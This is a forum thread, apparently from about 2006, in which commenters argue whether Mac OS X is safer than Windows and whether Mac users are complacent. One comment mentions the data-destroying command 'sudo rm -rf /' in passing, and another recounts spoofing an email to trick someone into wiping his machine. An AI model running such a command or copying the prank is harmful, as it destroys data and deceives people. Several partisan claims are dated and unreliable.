If you trash your data (whether it is backed up or not) with a virus, you want to KNOW that your system can be trusted not to put the virus back in. UNIX and the user/admin separation makes this possible. Windows admin rights being widely necessary means that you cannot.

So your own data being trashed may be more damaging for that one instance than the OS being trashed, but if you don't want to have your data re-infected, you will need to reinstall your OS too.

Not any more smug than other Unix users

[unconfused1]

Apple has done a very good job at fixing their specific errors and security issues for MacOS X, but additionally since they are building off an open-source software base they inherit any security problems from all the unerlying applications that run on their system. But even so they have been good at contributing to fixes for those projects, and good at packaging fixes for MacOS X once those projects post a fix for their problems.

So...should the average MacOS X user be concerned about security problems? Sure, and they should make an effort to acknowledge fixes that happen in Software Update. Should they worry about worms and malware? Of course, though there are only a handful of those and they mostly require superuser access to run. Should they be concerned with viruses? What...for the proofs-of-concept not actually in the wild? Not really.

In comparison to the numbers of unpatched Windows security errors, thousands of worms and malware for Windows, and thousands of viruses for Windows...and all the paranoia that generates (rightfully!) in Windows users? Any non-Windows user, not just the MacOS X ones, have some right to be 'smug'.

Mac OS X is more secure, period.

[daveschroeder]

At the risk of repeating myself, on this subject, I recently answered a query raised during a Chronicle of Higher Education colloquy. I believe it touches on the major issues here.

Question from Lisa L. Spangenberg, UCLA:
Given that there are no viruses or Trojan horses for the current Macintosh system, OS X 10.3, and given that it is essentially UNIX, and given that the most common applications (Microsoft Office Suite, Adobe applications) work very well on OS X, why don't more institutions adopt Macs and encourage faculty to use them?

Gregory A. Jackson:
Well, first of all, there are viruses and Trojans that afflict MacOS, witness Apple's periodic release of security fixes to counteract them.

First, that isn't true, regarding viruses. To date, there are no known viruses that specifically target Mac OS X. Last week's "trojan" was nothing more than an application with a different icon and misleading name that displayed a dialog box (which was an example posted to a USENET Mac programming group to illustrate this fact that has been known and possible on Mac OS for over twenty years; an antivirus vendor apparently thought this an appropriate time to dress it up, incorrectly, as some new, terrible exploit easily adapted for malicious means, when in reality it's nothing more than an application).

If you're referring more broadly to security issues in general, almost all of the security and security-related updates for Mac OS X to date have been updates for primarily server-type services that ship with the OS, all of which are disabled by default, and the lion's share of which are never even enabled, much less touched, on the vast majority of systems. I'm not saying that they should be ignored, but Apple's comprehensive and swift response to the most minor security issues does not rise to the level of the staggeringly numerous, sometimes completely automated, remote exploits, worms, and so on for Windows. It is no longer possible to even get through a full installation Windows XP on a machine connected to a public network without it being exploited before you even have a chance to patch it.

It's definitely possible for Mac OS X to have viruses, worms, trojans, and other malware - Mac OS X is not invulnerable, and no sensible person would claim it to be. But the underlying philosophical design principles are fundamentally more secure than Windows, period. Since the major ingredient for the success of a worm or virus is some ability to spread, witness the fact that there is no way with anything built into Mac OS X to perform automated propagation of a virus, and no current known ways to exploit a machine remotely, not to mention that potentially exploitable network services are disabled to begin with anyway (and remain that way unless explicitly enabled), a stark contrast to Windows. Any hope for automatic propagation would require a comparatively high level of sophistication, and perhaps even its own mail server - not to mention some intrinsic vulnerability to exploit. On the other hand, there are still, to this moment, unfixed vulnerabilities in certain versions of Outlook that will spread certain virus variants simply by previewing a message, and nothing more. There is simply no equivalent to this on any other platform. Microsoft's track record and attitude on security (though admittedly much improved) versus other vendors speaks volumes on this topic.

It takes work and thought to do security, and do it right. Ease of use and security aren't mutually exclusive. The key is to make security easy to use, and Apple has so far been on the right road with Mac OS X.

But the small installed base of Macs makes them an unexciting, low-visibility target for the bad guys, and so the weaknesses don't get exploited much.

The marketshare argument only goes so far. This seems to be a version of the "Macs have no software" argument. It is indeed true

Re:Mac OS X is more secure, period.

[argent]

But there is simply no suitable vector, akin to similar past (or present) vectors on Windows, for mass-propagation of any type of malware.

I think this is possibly exaggerating the case a little bit, because "social engineering" remains a vector... one that's disturbingly successful... and the way Safari interacts with LaunchServices by default makes social engineering easier than it should be. However, you're correct that there's no equivalent to Microsoft's security zone fiasco that makes automatic infection and mass-propogation of malware so easy on Windows.

If Mac OS X instead of Windows was the majority OS, the virus and worm problem would be no worse than it was in the early '90s before Microsoft integrated Internet Explorer with the Windows desktop and Outlook. Remember back when disabling any kind of mechanism to automatically open attachments or links, and not downloading pirated software, was usually good enough for avoiding infection?

Re:Mac OS X is more secure, period.

[winwar]

"Question from Lisa L. Spangenberg, UCLA:
Given that there are no viruses or Trojan horses for the current Macintosh system, OS X 10.3, and given that it is essentially UNIX, and given that the most common applications (Microsoft Office Suite, Adobe applications) work very well on OS X, why don't more institutions adopt Macs and encourage faculty to use them?"

Perhaps because they don't run the needed software? Security is a much smaller issue because faculty doesn't have to secure the boxes-support staff does. Ever try to tell a professor they are the cause of security related problems and get them to change? It takes a combination of diplomacy, education and patience that is lacking in most people...

That said, if the system admistrators have a clue they already are increasing the number of Macs where possible. If the number of Macs aren't increasing it is probably the fault of the sysadmins.

spyware remover

[macguys]

There is an anti-spyware product for the Mac OS world called "MacScan". I interviewed the President and COO of SecureMac, the developers, on the last edition of Radio MacGuys

http://www.macguys.com/

Quantity is not Quality (or criticality)

[ScentCone]

So, in this case, not having admin privledges reduces the damage by 80%. Is that not "substantial"?

I don't think that's a reasonable measure. If the one-fifth of the family's data that got snooped happened to include information providing access to bank accounts, personal financial data, etc., then the damage to the entire family's well being could be ruinous. Is a twelve year old losing her MySpace bookmarks and P2P downloads really no different, to you, than someone having their doctoral thesis or college application essay trashed? Because no, not everyone backs up like they're supposed to, not even the Really Important Stuff.

Used car analogy

[Valdrax]

Safer? I guess, except in the past year Apple released more security and exploit fixes for OSX than Microsoft did for WindowsXP...

So again how is it a safer OS if these exploits existed in the first place?

Apple updates its OS more, so it must be less reliable?

This is the logical equivalent of pulling the CarFax report on two cars and deciding against the car that's had all its regularly scheduled maintenance since it must obviously be less reliable than the car that's only been taken to the shop when something broke down.

There's a difference between the things Apple fixes and the things Microsoft fixes.

Re:Used car analogy

[TheNetAvenger]

Apple updates its OS more, so it must be less reliable?

That was not my suggestion or point.. Mislead much?

If there were not fixes to implement, then Apple would have not implemented. Obviously there were security issues and exploits, or they would have not updated them.

If MS had the number of exploits or security issues that OSX had in the last year, the world would be in chaos with rampant viruses running everywhere.

My point was MS Windows actually had less identified security issues and problems in the last year than even OSX.

Here is an analogy... Boat A had 200 holes, and the crew patched 200 holes. Boat B had 50 holes and the crew patched 50 holes. Which boat would YOU consider safer? This is common sense...

OSX is boat A in the above analogy...

We are just lucky neither boat sank in the last year. Period.

Re:Used car analogy

[Valdrax]

That was not my suggestion or point.. Mislead much?

You say that, but then you immediately go on to suggest that (per your logic) more updates means more problems of equivalent nature to problems found on Windows. You say this in great detail in both posts.

Apple and Microsoft both fix numerous bugs in each patch release. Apple just updates more often. You're not comparing apples to apples here.

Admittedly, some of the bugs in the last update were of the same level of danger as MS's browser latest browser exploits for running arbitrary code. A difference is they'd all run with restricted privileges unless you also tied in a privilege escalation exploit, but that requires the use of two bugs at once to do. Most of the bugs were not exploitable to put malicious software on the system.

Mac users are way too smug about the invulnerability of their system, but to suggest that Macs are less safe than Windows PCs because of the update schedule is just ridiculous.

Since nobody else has done it yet....

[sallgeud]

http://www.penny-arcade.com/comic/2002/07/12

I believe Homer Simpson said it best: "It's funny 'cause it's true."

Invulnerability

[MECC]

OSX users shouldn't feel invulnerable, just as the article points out. They still need to use hard to guess passwords, and shouldn't just allow any old product to install software (like a musci CD) without know what gets installed. The feeling of invulnerability itself is a problem, leading to lax security practices.

OSX isn't invulnerable with respect to security - just somewhat decent.

Re:Of course...

[Anonymous Coward]

Here, here!

The profile

[SuperKendall]

So, is there a profile of a Mac virus writer???

Yes, you can usually find traces of red and white fur on his clothing.

That's because he usually sits right between Santa Clause and the Easer Bunny.

Package management: inherent security advantage

[delire]

From a design perspective, both Windows and OSX have an innate design flaw that can quickly render a system vulnerable - they encourage and support the wanton installation of thirdparty software downloaded from un-quarantined, un checked internet addresses.

We have millions of users taking websites on strictly surface appearances, if lucky by reccomendation from a friend or external corporation. Phishing proves this to be totally foolish, yet the culture of seeking and installing applications has not yet wisened up.

A key reason why I'd be very reluctant to use either OSX or Windows on machines that host data I care about, is precisely because they don't offer useable package management (while trying OSX for a few months I attempted to make a go of Fink, but frankly it's unuseable).

When I install software on a Debian (Ubuntu, Xandros, Linspire) system (for instance), there's a key exchange, I can check md5sums and I know a large number of people have signed off the package, approving it for download and installation to the best of their knowledge.* This application will also dynamically resource existing Libraries on my machine, as opposed to scattering duplicates all over the place (as is the case with *.dmg and (IIRC) .app installation methods on OSX and patching core DLL's on Windows).

The day OSX and Windows application developers 'subscribe' their applications to a core pool of packages that is gone over with a fine-tooth comb, is the day that both OS's will be on the road to being safe for general public use. *Ironic perhaps, that package-management is often cited as an impediment to the uptake of the platform despite being brainlessly easy to use (as is the case with Debian systems). Go figure

Using windows as a case study against OS X

[Danathar]

When looking at theories stating that if OS X had larger market share than windows we would see many more OS X viruses one might thing this is a reasonable assumption. The problem with thinking in this way is that it uses Windows as it's case example. With windows as the only data set for comparison there is no evidence to support that with similar market share we would see a dramatic increase of viruses on OS X.

You can definitely argue that there might be more ATTEMPTS at writing more viruses/malware/ect due to a percieved increase in the target market size, but the differences between windows and OS X are such that you really can't say that because with X product Y happened, so with A product Y will also happen.

Show me ONE...just ONE OS X VIRUS...not UNIX worm, not 10 year old Office VB script, or somebody just writing a shell script with "sudo rm -rf /" and I might listen.

Until I see one in the wild everything else is conjecture.

Re:Using windows as a case study against OS X

[n8_f]

Exactly. Get back to us when there actually is a virus or spyware or whatever on OS X. Until then, these types of articles are pure FUD.

Don't blame it all on the OS

[Anonymous Coward]

The most successful worms on Windows have not spread because of OS vulnerabilities. They have spread because users are dumb enough to run executables coming from friends in e-mail and whatnot without checking first. The OS helps make this easier by hiding extenisions by default...

There is nothing stopping people from making another sexy-picture-worm that can spread because someone thinks it's a jpg and in fact it's a .app. If it's saved from certain applications before opening there won't even be any warning before they run it and the damage is done.

Which brings up another point. People say OSX is safer because of the user structure, (e.g. getting prompted for a password for root tasks) However most of the damage done by the worst windows worms don't require elevated privileges. As a user-space app you can still destroy or infect all of your documents, access network shares to spread, start services on high ports to spread or make DOS attacks (probably on MS), add startup items and cron jobs to keep yourself running, drop the executable into existing .app packages with user perms (which there are many of in OSX usually because installs don't chown all apps to root, and drag-and-drop installations) to make sure the worm will rise again.

The users need to be smarter for the computing environment to be safe. As the mac community expands, so do the number of dumb people using it, which means crackers can exploit what has always been the biggest hole in computer security --- the operator.

If Mac users are smug..

[matt me]

then what does that make us? (faithful users of gnu/linux)

Re:If Mac users are smug..

[Jerry Smith]

then what does that make us? (faithful users of gnu/linux)

You can be our trusty cunning sidekicks?

Re:If Mac users are smug..

[Steven W00ston]

As a linux user, I prefer not to be associated with your overpriced proprietary mac shit.

hypochondriacs and bubble boys

[ummit]

The Windows world is one in which no one has an immune system. They're all a bunch of paranoid hypochondriacs, popping pills like mad in a desperate attempt to stave off all the horrific infections they're afraid they'll get. The sad thing is, they're right to be so paranoid, because in their case, if they didn't pop all those pills, they would die. In that world, the only ones who are truly safe are the ones who, like David Vetter, live in sterile plastic bubbles for their whole lives.

Meanwhile, there's this other breed of people (who are, strangely, in the minority) who actually do have functioning immune systems. It's true, they still get sick from time to time, and there is even the occasional epidemic, but for the most part, these people can lead normal, productive lives... except for nuisances like the brickbats hurled at them by the hypochondriacs for being "too smug".

"1995 called..."

[Anonymous Coward]

1995 called. They want their FUD email back.

Did they say anything about their meme? ;)

Non-Mac users are the smug a**holes...

[Anonymous Coward]

"Every Mac user I know can barely turn on their computer, let alone fire up their browser or word-processor..."

"Mac users are elitists..."

"Macs are designed for non-technical users/grandmas..."

You're all full of crap...

You're just losers who geek out playing Warhammer and spend thousands of dollars 'gaming' on your supposed 'serious-work-oriented-PC"

Dammit... you went and pushed me to that fanatical place... my apologies... It's just that I too have always kept a PC around for the occasional game, a linux box for tinkering, but my Macs have been the workhorses for 20+ years. I just don't think it is a religous war and see no reason to defame any group's preference... ...hence my apology to the Warhammer'ers... we should all apologize to each other a bit more. ...BTW, is there a way to filter out posts written by nits under the age of 25? I would turn that option on in a second...

Re:Non-Mac users are the smug a**holes...

[Steven W00ston]

BTW, is there a way to filter out posts written by nits under the age of 25? I would turn that option on in a second...

yeah, but you have to log in first

Actually you are probably right in one case

[SuperKendall]

Just open anything you want, give any program password access when it asks, and never even bother with Apple's security updates, they are not needed since they are just busy work to keep their developers happy, since they love the art of coding for a perfect Operating System and a perfect company.

Ironically it's probably true that someone could choose to never install Apple security updates and they would be fine. That's because with 95% of all other macs on earth patched, a potential virus would not longer attempt to use that patched vector for infection - there would be no profit in it.

You have found computing and OS Utopia... *Queue Harp Music*

So here's the deal, a computer user today has two options:

1) No harp music at all, only discordant guitars.

2) Sit in cafe and listen to harp music, knowing that you may have to leave at some point (even though you've been sitting in the same seat for a few years). When you do leave you might have to stand outside the discordant guitar room for a little while.

Assuming you really like harps, and are displeased with discordant guitar works, it's pretty clear which is the smarter option today even if the harp music will not last forever.

I mean, do you not eat a tasty meal because you know when you finish it'll be gone? "What's the point?".

I think I shall have to label you a Security Eeyore.

P.S. - #2 up above can apply to Linux as well as OS X, don't make any assumptions about what I am including vs. excluding.

Re:MacOS X itself?

[Seanasy]

Oh, sorry, my bad. I guess I should have been more specific and asked for a vulnerability that isn't from 2004. I should have specified, you know, a current one or one that is actually being exploited on more than a handful of machines.

This doesn't have to be a pissing match you know. It's very simple, there are very few exploitable vulnerabilities in OS X as evidenced by the -- probably very close to 0 -- rate of infections of OS X machines. No one is claiming that OS X is invulnerable and that your favorite OS is the "suxors" or whatever it is you kids say. Right now, all evidence points to OS X being a safer OS. But god forbid someone should make that claim without someone coming up with all kinds reasons why it's not true despite the evidence. Or, how vulnerabilities from two years ago proves OS X is just as vulnerable as Windows.

There's a serious inferiority complex thing going on here. It's sad really. Mac users (if you can make such a broad generalization) aren't nearly as smug as people make them out to be. All of the Mac users I know are security-conscious. They have no illusions about the potential security dangers though they know that OS X is more secure than Windows. Somehow this is interpreted as smugness and having your head in the sand. Go figure.

The first rule of Mac Security...

[Anonymous Coward]

...Is don't talk about Mac security. Sheesh.

Opener != virus, Opener == rootkit

[TERdON]

Opener isn't a virus. It doesn't selfmultiply... What Opener is, it's a rootkit. A program you use as a hacker to cover up that you've hacked into the machine. To use it, you have to gain access to the computer somehow BEFOREHAND. A rootkit basically is useless unless you already have root (or at least user) access to the machine in question. The other source mentions only mentions an exploit. No one has said that there aren't exploits for Mac OS X. Only that none has been used to develop viruses. If seccurity indeed is very important (read: secret information, research, webservers etc), an exploit is a very probable vector of infection, and shouldn't be ignored. Unpatched exploits are what hackers use to gain access. In a home setting, the risk of getting targeted attacks is lesser. Basically, the only interesting use of the average home system is as some kind of a botnet. That means hackers are less probable to hack a home system "manually" and instead use viruses, trojans, spyware etcetra. Also, the automated versions often work better in settings where the user has a firewall (think WMF exploit!). If no ports are opened for services, it doesn't really matter if there is a barn-size hole in the service, as you can't access it remotely anyway.

Re:Opener != virus, Opener == rootkit

[TheNetAvenger]

Opener isn't a virus. It doesn't selfmultiply... What Opener is, it's a rootkit

Yes it is a rootkit, but you missed the point of how it GOT on the Macs without someone installing it, that is where the problem is, it doesn't matter what rootkit or trojan was being dropped in using the exploit it used.

Get it?

Re:Opener != virus, Opener == rootkit

[TERdON]

Yes, there still is a chance that you get specifically targeted by a hacker. For the home user, that situation rarely is possible to defend against. Not even for /.ers. I'm not denying that.

The huge majority of hacked Windows boxen, are hacked by automated tools though, like viruses or worms (trojans there have been for Mac OS X - like the 0.6 MB MS Office install - not suspicious at all, right?). As I said, already in my first comment, there aren't that many home systems really targeted for other purposes than botnets/similar purposes. And I think it would be rather silly to hack them all "manually" without using some kind of tool. And as stated on several places in this thread - there just aren't any viruses or worms for OS X...

Basically, if you "just get a rootkit" on your Mac OS X computer you either

1) did something really stupid, like installed it themselves
2) activated some kind of services, possibly using crap (wordbook) passwords, possibly having bad luck getting hit by one of the first hackers to try out a possible exploit.

You can't really get better protection than that on any OS...

Re:Opener != virus, Opener == rootkit

[TheNetAvenger]

The huge majority of hacked Windows boxen, are hacked by automated tools though, like viruses or worms

I get what you are saying, but you are missing part of the myth here, especially in regard to Windows.

The majority of infections on Windows PCs are propogated by USER APPROVED actions. So even if the system prompted for a root password, many users would still give the virus access to the system.

(We have demonstrated the user element on Macs as well, and even with the root password prompts, people just type it in and let our demonstration infection take place.)

It has been a long time since a large outbreak of viruses has happened on Windows that has not required user intervention. If you timeline it, you will see that the Windows 2003 Code base that was also brought back to WindowsXP SP2 has been pretty much immune to automated and backdoor exploits. (Actually more immune than even OSX, although Apple quietly patched their exploits before anything ever happened with them.)

The user element is the biggest problem with viruses on any OS, and especially in the Windows world, as MS gave TOO much power to developers and users in the ability to modify the OS... Of course if MS would have tightened down the OS with the security it needed, not only would it have broken more applications, but people would have screamed that microsoft was screwing over this company or that company.

Look at Kaza for example, the amount of control it had on the Windows OS, the level that anything could be launched easily with no safty check. The amount of spyware and viruses from P2P apps like this was staggering.

And even if the users were NOT running as the administrator on the system, these applications would still have had the abiliity to erase the user's files and do a lot of things, that if presentd in the same fashion on OSX would also occur.

MS with SP2 just by flagging and marking applications that were obtained via the Internet and giving the users a secondary prompt about security has helped a lot in this regard, but it didn't stop the user element of virus spreading.

Even Windows Vista will not put users in Administrator mode, and even if given an Admin role will not have full authority of the actual 'administrator' account. (Much like a designated root.)

However, just like on any *nix, OSX, even Vista the Adminstrating users will be able to turn off some of this protection, and the user element will come back into play unless MS decides to lock the users completely from doing any OS level modificatinos to their system, and again people will cry out that MS is censoring or taking control of their computers...

Security is a tough gig...

Take Care

Re:Opener != virus, Opener == rootkit

[Foerstner]

Yes it is a rootkit, but you missed the point of how it GOT on the Macs without someone installing it, that is where the problem is, it doesn't matter what rootkit or trojan was being dropped in using the exploit it used.

Exactly. In order for the rootkit/trojan to get onto the Mac, one of four things must have happened:

A) The Mac had an unsafe network configuration (firewall off, services enabled, weak password, possibly an unpatched remote vulnerability)

B) A malicious user had physical access to the machine

C) A malicious user was authorized to use the machine (special case of B, really)

D) The machine's owner deliberately installed the rootkit, and forgot about it.

No antivirus application yet devised would have protected the user against any of these scenarios, regardless of OS. The idea that the Opener/Renepo rootkit somehow validates antivirus software on OS X is laughable.

Apple has even addresed that to some extent

[SuperKendall]

Yes, because as we all know the really valuable data on the computer is the OS and installed programs. You know, the stuff that can be replaced in a few hours.

All that user data that's completely and utterly irreplacable? Worthless. Who cares if a virus or trojan destroys it? And it obviously doesn't matter if a keylogger running in userspace sniffs out all your bank passwords and sends them to a 3rd party (what, you don't need admin privs to open a socket?!?!), because, hey, the OS itself is still secure!

Actually part of the .Mac subscription includes backup programs, and automatic syncing of a number of things like email and keychains and application preferences and other user-defined documents to an Apple server, in case the worst happens.

But really, what modern viruses actually delete user data? They are far more interested now in capturing user data, or better yet claiming that computer as a zombie. It's simply far more profitable. The idea of viruses actually going after user data is as outmoded as the story submission itself.

Re:Apple has even addresed that to some extent

[Zathrus]

They are far more interested now in capturing user data, or better yet claiming that computer as a zombie.

Agreed. But what's going to prevent that just because you don't have admin rights? No, I can't go snooping on other users (if any) on the system, but I can snoop your data all I want. And I can certainly setup a zombie without admin rights.

Does having admin rights make it easier? Sure does. Makes it harder to get rid of too. But not having them doesn't stop me. It doesn't even signficantly limit me for the vast majority of systems (where there's exactly one user per system). And, again, if you're the sole user of the system, you'll know the admin password and get used to typing it in when prompted. The average user (who trusts the computer, or at least fears breaking something if they don't do as requested -- always) will simply enter the admin password if prompted. And if that prompting was done on behalf of a piece of malware, then not running as admin has done absolutely nothing for you.

The average Linux user is smarter than that, but that's because Linux is largely a self-selecting community right now. I seriously question that the average OS X user is smarter than that. And if either ever becomes widespread to even a fraction of the degree that Windows has then I'll guarantee you that the average user won't be smarter than that.

People seem to forget that most of the Windows malware requires you to interact with the system to get it installed. Things like the WMF vulnerability are pretty rare now (which makes them all the more dangerous). The malware continues to spread not because people get blithely owned while surfing the net, but because they happily click on "OK" on dialog boxes, agree to EULAs that conceal nasty clauses, etc. Hell, phishing attacks are on the rise, and those require no admin privledges whatsoever and don't care about what OS you run.

It always boils down to the user.

Re:Apple has even addresed that to some extent

[Dr. Manhattan]

Does having admin rights make it easier? Sure does. Makes it harder to get rid of too. But not having them doesn't stop me. It doesn't even signficantly limit me for the vast majority of systems (where there's exactly one user per system).

It does keep you from doing low-level things like replacing the network stack, preventing some kinds of badness (e.g. transparent redirects). Not only is it easier to get rid of, it's easier to detect it as well (it can't replace the kernel file APIs to hide virus files, for example). I consider this sort of thing significant. It also makes it harder to run background services and so forth that persist after the user has logged off. (Far from impossible, I know, but more difficult.)

And, again, if you're the sole user of the system, you'll know the admin password and get used to typing it in when prompted. The average user (who trusts the computer, or at least fears breaking something if they don't do as requested -- always) will simply enter the admin password if prompted.

I dunno about that. On Ubuntu, it uses sudo, so you have to type in your password, not the admin password (there actually isn't a password for the root account). But being prompted for your password is a rare event, unless you're actually doing administration. It just doesn't come up in day-to-day operation. Having an email suddenly pop up a password prompt would kinda stand out.

Now, I don't deny that effective social engineering techniques can be brought to bear to get them to enter that password. But it really is an order of magnitude more difficult than for a Windows virus writer who can count on 95% of the recipients to be running with Administrator rights.

Re:Apple has even addresed that to some extent

[LurkerXXX]

You mean that .Mac subscription that costs $99/year that most folks seem to drop right after the end of the free trial period? If they don't use it, they aren't going to be backed up any more than a Windows person (who also could buy onine backup from Yahoo, etc, if they wanted to. Online backup isn't an option available only to Mac users.).

Re:Apple has even addresed that to some extent

[BandwidthHog]

But really, what modern viruses actually delete user data?

This one. Granted, it wasn’t out there when you posted that, but as of this morning there have been 700,000 confirmed sightings.

Re:One product stops mac PCs from getting infected

[NutscrapeSucks]

My brother has an older iMac with five user accounts on it, so if one user gets a virus then only 20% of the user data is at immediate risk

The permission system on OS X is quite loose. By default, users can write directly to the Applications directory. That means that malware could easily trojan common programs like iTunes and so on.

So, if a virus somehow got onto the average Mac, I don't see the user account system being any more than trivial protection.

Conclusion?

[dave1212]

So now that everyone's figured out that the article is from 6 years ago, 2000, can we agree that there still hasn't been a successful self-propagating virus for Mac OS X?

I think we can. Let's hope for another 6 years.

Re:Conclusion?

[ummit]

...now that everyone's figured out that the article is from 6 years ago...

It was? Gad. I didn't notice that. Sheesh. Thanks for pointing that out.
(So I guess you mean, "now that everyone except ummit has figured out..." :-) )

OT: Re:Dead On

[Anonymous Coward]

Getting OT..
I pulled a similar trick..
We had a guy in our loose knit Linux user group who was kind of a jackass. He had a few friends that were the same. One night I was borded so I connected to his mail server on his Linux box and sent an email from root@localhost to root@localhost with a body of "Ha, got your password!".
Well I was honestly thinking he would have figured it out as the headers and logs would show the originating ip but apparently the obvious was overlooked. At the next meeting, he connected to and discussed the machine and his group of guys and himself basically concluded the machine was owned and rooted and no one could trust any of the binaries or logs on the system. This was after several other people including myself asked about the headers and the logs but we were brushed off. After it got that far I felt it had reached the point of no return and there was no way in hell I was going to speak up and tell them it was a joke. He wiped out his machine.

any major OS

[willCode4Beer.com]

"in other words, any major OS made by any company other than Microsoft."
True, any OS connected to a network is going to be suseptible. The point in the article wasn't about the Mac OS, it was about the user.

I think the majority of Linux users are well aware of security issues. Every week when I update my packages, at least 90% of updates are security related. I am regularly reminded my system is not immune.
(the majority of) Linux user say they are more secure than windows but, they don't say they are immune to attack. The point the author was making is that the majority of Mac users think they are safe.

He was signling out the users, not the OS.

Re:any major OS

[Anonymous Coward]

If communism is a system where the government owns business, what do you call a system where business owns govern

Plutocracy.

Just common sense

[matgorb]

I have 4 machines at home, a Windows XP laptop, a Windows 2003 "desktop", an Ubuntu Linux desktop and a iBook. I also have a Linksys router, and I didn't get a virus, a trojan or whatever on any of the machine yet. Now I use to have Windows 2k and I got blaster, once, and the now Windows 2003 "desktop" use to have 2k as well and had a blocked trojan (was there but couldn't connect out) when it was my girlfriend who was taking care of it. I don't consider myself lucky, there are a few steps to keep yourself secure, as far as possible because nobody is immune to system bug. Now, I just do thing in order, first I install the OS, then activate a firewall,and then start to update from trusted place (Windows Update, Apple, or the Ubuntu repositories) all the machine are connected to Internet from the beginning, because I think that in most case my Router will protect me, if I didn't have it, I would not connect them before the firewall is on. After that, I install an antivirus, usually clam, but lately I tried Norton thanks to Google pack, and it seems to work fine. From then it is just a matter of auto updating and scaning whatever you download, it is not 100% protection since an exploit is always arround the corner, but I think it as close as I can get without compromising the ease of use. Just to be clear, I use the integrated firewall in Windows and Mac OS and Firestarter in Linux. Bonus, with multiplateform, if one catch a cold, the other can do the doctor.

Developed .Net apps

[SuperKendall]

developed .NET apps

I hear they have shots for that now - I hope your case cleared up quick.

PPC vs. Intel Chip

[Anonymous Coward]

if Macs are 5% of the computer market, why aren't 5% of the viruses and spyware on Macs?

Couldn't it be because before the transition to Intel chips the script kiddies and viri writers would have to compile and write their code for the PPC chip? This would be in addition to the effort of finding an exploit to take advantage of in OS X.

Could we be looking at an increase in probes and attacks to OS X as a result of this change to Intel chips? I don't forsee it as happening but time will tell

Well Norton AV isn't much help...

[EverLurking]

You could pay actual $$ for it to CREATE a vulnerability on your OS X machine by using Norton AV:

http://www.zdnetindia.com/insight/commentary/sto ries/132034.html

Great, opens up a remotely expointable hole that could take over your OS...
How about a OSS based solution that is...FREE?

http://www.markallan.co.uk/clamXav/#free

Peer reviewed and effective, go figure.

Remember though, AV definitions will lag a major virus infection by hours to days (maybe even longer) and if you're the first one infected, well, it's too late for you anyways right? There is no substitute for safe/sane User paranoia.

1. Keep your System Up to date.
2. Keep regular, up to date back ups of your data.
3. Many of those lame free pr0n/warez sites make $$ by trying to co-opt you so why would you go to those sketchy web sites at all? It's like asking for it. Get your prOn for free from newsgroups like the smart guys do...
4. Don't run any old program download from any old sketchy source like some dumb ass,
5. Grow up and quit using pirated shit/warez. The fact that you'll get rooted one day is the inevitable Karma fall out.

DaveC

network security

[willCode4Beer.com]

You think a Mac user would have the skills for a network attack? ;-)
If more than one mouse button is too confusing, how are they going to launch a network attack?

There are only two reasons why Windows is crap:

[Runty McGhee]

1) Outlook's built-in ability to read an email and automatically run its attachment is the sole reaon why virii are a problem.

2) IE's Active X controls, with the ability to download and run a program without user knowledge by simply surfing to a website, is the sole reason spyware and adware are such huge problems.

Last I looked, only Windows has these problems. Yeah, Outlook's on the Mac, but it's not widespread and the virus attachents seem to be written for Windows. Also, many Mac users may not use Outlook.

If I'm wrong, someone please tell me. And while you're at it, please tell me why the Outlook problem exists. Are there really that many users who need their attachments to execute when they read the body of an email? Why can't you turn that shit off?

Re:There are only two reasons why Windows is crap:

[ummit]

Outlook's built-in ability to read an email and automatically run its attachment is the sole reaon why virii are a problem.

Well, e-mail viruses, anyway. And I think some of the other Windows email clients (Eudora? Pegasus?) have had the occasional problem. But you're right, Outlook is responsible for well over 99% of that problem.

...while you're at it, please tell me why the Outlook problem exists. Are there really that many users who need their attachments to execute when they read the body of an email?

I would dearly love to know. You've hit the nail on the head; this is the $64,000 question. (Actually, it's worth far, far more than $64,000!) It astonishes me that this question doesn't get asked more often; it astonishes me that this glaringly obvious solution to the problem never gets considered.

If Windows simply didn't perform this automatic execution of untrustworthy code -- and note that I do not say "if Windows did not allow the execution of untrustworthy code" or "if Windows had better mechanisms for authenticating the sources of untrustworthy code"; those are harder to implement and not as reliable; what I'm saying is if Windows just fundamentally didn't have the designed-in ability to run code out of email or off the net at all -- the personal computer security landscape would be a very, very different place.

ClamXav, Paranoid Android, comments

[zunipus]

Let's cut to the chase and provide URLs to FREEWARE every Mac user should have on hand to combat the ***still mythical** malware that is going to bring DOOM to the Macintosh: 1) ClamXav: http://www.markallan.co.uk/clamXav/>Its OpenSource, its updated regularly, its free. So use it already. I regularly receive Windows malware from email or web sites. Rather than possibly pass them on to my Windows using friends, I zap them by checking my Users account folder regularly. 2) Paranoid Android: http://www.unsanity.com/haxies/pa> Its OpenSource, its free. It was originally created to patch a doorway malware could use to attack Mac OS X. That doorway was mostly closed in Apple's 'Security Update 2004-06-07'. But the fact is that Paranoid Android goes way beyond that patch and stops any potentially evil process dead in its tracks. Some people may find it too intrusive, making you verify every little process. But I LOVE IT! It have it on full steam all the time. There ain't no malware gonna get me! It literally runs rings around the MOSX-catch-up security being put into Windows Vista, and is also far more secure than what Mac OS X alone provides. Now some personal comments: - I subscribe to the 'Cry Wolf' theory: The more that certain people, well intentioned as they might be, whine and carry on about how the Mac is DOOMED because of this and that, the less people listen. So when the BIG ONE really does come, they are less prepared. It really was an excellent idea to totally ignore Symantec when they lectured the Mac community, two months in a row, that they were DOOMED if they did not buy Norton Anti-virus. It turns out that NAV has itself got a major security hole, and potentially does some MAJOR damage to your OS. NO ONE should buy or run NAV. NO ONE. It is itself nearly as dangerous as malware! Irony. Then there was attempt by the SANS Institute to perpetrate FUD against MOSX. http://macdailynews.com/index.php/weblog/comments/ 7725/> I personally wrote to the editor of the article and discovered in his reply he had no justification for his DOOM hypothesis beyond a hacker using a nasty AppleScript that would have to be planted via sneaking them onto an insecure MAc workstation. Duh! Any idiot knows that is possible! Only a dolt doesn't lock down their machine when they walk away from it. The guy was crying wolf. - Then there is the 'Mac users are SMUG' crap. Bite me! What are smug are the Windows users constantly trying to justify their purchases by way of attacking the opposition, namely Macintosh purchasers. Hey Windows users: You have over 15,000 pieces of malware out there in the wild that want to ruin your computer. Deal with it. Thank Microsoft, the authors of your fate. Mac OS X has NO malware at all. Deal with it. Thank the authors of FreeBSD, NeXTstep, Darwin and Mac OS X, who have kept security in the forefront of OS development, where it belongs. - As an avid listener to the GREAT podcast 'SECURITY NOW!' http://grc.com/securitynow.htm> I am intrigued at all the ways there are to hack a computer either directly or via malware. I am also in shock at just how poor Windows security really is, and amazed at how relatively brilliant Mac OS X security really is. Nonetheless, Mac OS X security IS NOT PERFECT! So I stay on my toes, stay prepared, and make sure doorways to potential hackers are as closed as possible. Listen to this GREAT show and you will learn how. I gave 